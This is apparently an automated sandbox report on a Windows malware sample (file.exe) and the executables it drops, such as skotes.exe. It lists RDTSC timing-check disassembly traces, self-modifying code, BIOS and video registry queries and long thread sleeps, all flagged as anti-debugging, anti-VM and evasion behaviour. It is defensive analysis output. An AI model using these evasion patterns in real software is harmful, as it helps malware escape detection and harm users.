Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A06 second address: 50A0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F1570C67161h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 mov cl, dh 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007F1570C67166h 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e movzx esi, bx 0x00000021 mov bh, 04h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1570C67167h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A74 second address: 50A0A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A91 second address: 50A0AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4B0526E2h 0x00000008 push edx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, eax 0x00000013 call 00007F1570C6715Ah 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DB6 second address: 50B0DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DBC second address: 50B0DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DC0 second address: 50B0DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DCF second address: 50B0DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DD3 second address: 50B0DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DD7 second address: 50B0DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0DDD second address: 50B0E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15714A7BAEh 0x00000009 sub ch, 00000038h 0x0000000c jmp 00007F15714A7BABh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F15714A7BB8h 0x00000018 jmp 00007F15714A7BB5h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007F15714A7BAEh 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F15714A7BB7h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B49 second address: 50B0B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B4E second address: 50B0B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15714A7BB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130149 second address: 513014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513014D second address: 5130151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130151 second address: 5130157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130157 second address: 513015D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513015D second address: 51301D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c call 00007F1570C6715Ah 0x00000011 movzx esi, di 0x00000014 pop edi 0x00000015 pushfd 0x00000016 jmp 00007F1570C6715Ch 0x0000001b adc ax, 2AC8h 0x00000020 jmp 00007F1570C6715Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F1570C67164h 0x00000030 or si, AD28h 0x00000035 jmp 00007F1570C6715Bh 0x0000003a popfd 0x0000003b movzx ecx, bx 0x0000003e popad 0x0000003f pop ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F1570C6715Dh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301D5 second address: 51301EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301EA second address: 51301FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C6715Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301FA second address: 51301FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120533 second address: 5120563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov ax, 3BD7h 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F1570C67168h 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120563 second address: 5120568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120399 second address: 512039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512039F second address: 51203A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203A3 second address: 51203A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203A7 second address: 51203DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F15714A7BB7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15714A7BB0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203DD second address: 51203E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203E1 second address: 51203E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203E7 second address: 51203ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203ED second address: 51203F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C020F second address: 50C021E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C021E second address: 50C028E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15714A7BAEh 0x0000000f push eax 0x00000010 jmp 00007F15714A7BABh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F15714A7BB6h 0x0000001b mov ebp, esp 0x0000001d jmp 00007F15714A7BB0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F15714A7BAAh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C028E second address: 50C0292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0292 second address: 50C0298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120783 second address: 51207EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1570C6715Dh 0x00000014 sub cx, 3556h 0x00000019 jmp 00007F1570C67161h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F1570C67160h 0x00000025 adc ch, 00000078h 0x00000028 jmp 00007F1570C6715Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51207EA second address: 51207FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15714A7BAFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51207FE second address: 5120814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov ax, di 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov edx, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 movzx eax, bx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120814 second address: 5120818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120818 second address: 512082A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, ax 0x0000000f mov edi, eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512082A second address: 5120879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d jmp 00007F15714A7BACh 0x00000012 pushfd 0x00000013 jmp 00007F15714A7BB2h 0x00000018 xor ax, E5C8h 0x0000001d jmp 00007F15714A7BABh 0x00000022 popfd 0x00000023 popad 0x00000024 push dword ptr [ebp+08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120879 second address: 512087F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51208FE second address: 512093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F15714A7BADh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d movzx eax, al 0x00000010 jmp 00007F15714A7BAEh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F15714A7BB7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0685 second address: 50D06BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F1570C67163h 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D06BB second address: 50D0776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F15714A7BB1h 0x00000011 and ah, 00000036h 0x00000014 jmp 00007F15714A7BB1h 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F15714A7BB0h 0x00000020 adc si, 7E58h 0x00000025 jmp 00007F15714A7BABh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d jmp 00007F15714A7BB6h 0x00000032 mov ebp, esp 0x00000034 pushad 0x00000035 call 00007F15714A7BAEh 0x0000003a mov ch, A6h 0x0000003c pop ebx 0x0000003d mov ax, EA83h 0x00000041 popad 0x00000042 push FFFFFFFEh 0x00000044 pushad 0x00000045 mov si, 26FBh 0x00000049 mov si, 37D7h 0x0000004d popad 0x0000004e push 6D9D93B5h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F15714A7BB6h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0776 second address: 50D0788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C6715Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0788 second address: 50D07C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 1B6453ADh 0x00000012 jmp 00007F15714A7BB6h 0x00000017 push 40C5D955h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F15714A7BACh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D07C9 second address: 50D07CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D07CF second address: 50D07D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D07D3 second address: 50D07F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 362AD4ABh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1570C67164h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D07F8 second address: 50D0817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, 4757FB86h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0817 second address: 50D081C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D081C second address: 50D087A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F15714A7BB0h 0x0000000f push eax 0x00000010 jmp 00007F15714A7BABh 0x00000015 nop 0x00000016 jmp 00007F15714A7BB6h 0x0000001b sub esp, 1Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F15714A7BB7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D087A second address: 50D089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1570C67169h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D089F second address: 50D08A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D08A5 second address: 50D08A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D08A9 second address: 50D0943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007F15714A7BB6h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F15714A7BB0h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F15714A7BB1h 0x00000021 and eax, 54B80A76h 0x00000027 jmp 00007F15714A7BB1h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F15714A7BB0h 0x00000033 sub si, 9F98h 0x00000038 jmp 00007F15714A7BABh 0x0000003d popfd 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov esi, edi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EEE43 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EED1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EC062 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8CD4F3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EED25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8B39FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92CB70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDEE43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDED1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDC062 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11BD4F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDED25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11A39FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 121CB70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: F02EC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: D59696 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: F2D6DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: F90411 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Special instruction interceptor: First address: A2FAB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Special instruction interceptor: First address: A2F9AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Special instruction interceptor: First address: C0A5C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Special instruction interceptor: First address: BF3DEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Special instruction interceptor: First address: C686FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Special instruction interceptor: First address: DEDCBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Special instruction interceptor: First address: DEDD93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Special instruction interceptor: First address: F900E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: B2BA6F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: B2BB4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: CC5663 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: B29086 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: B2BAC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Special instruction interceptor: First address: D5542B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 5E0DCBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 5E0DD93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 5FB00E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 6B0DCBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 6B0DD93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Special instruction interceptor: First address: 6CB00E9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Memory allocated: 4E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Memory allocated: 5110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Memory allocated: 7110000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05120F16 rdtsc

0_2_05120F16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1169	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1249	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window / User API: threadDelayed 665
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window / User API: threadDelayed 663
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window / User API: threadDelayed 644
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window / User API: threadDelayed 4944
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window / User API: threadDelayed 687
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Window / User API: threadDelayed 740

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2836	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2836	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep count: 1169 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep time: -2339169s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3264	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5476	Thread sleep count: 333 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5476	Thread sleep time: -9990000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2696	Thread sleep count: 1224 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2696	Thread sleep time: -2449224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4444	Thread sleep count: 1249 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4444	Thread sleep time: -2499249s >= -30000s	Jump to behavior
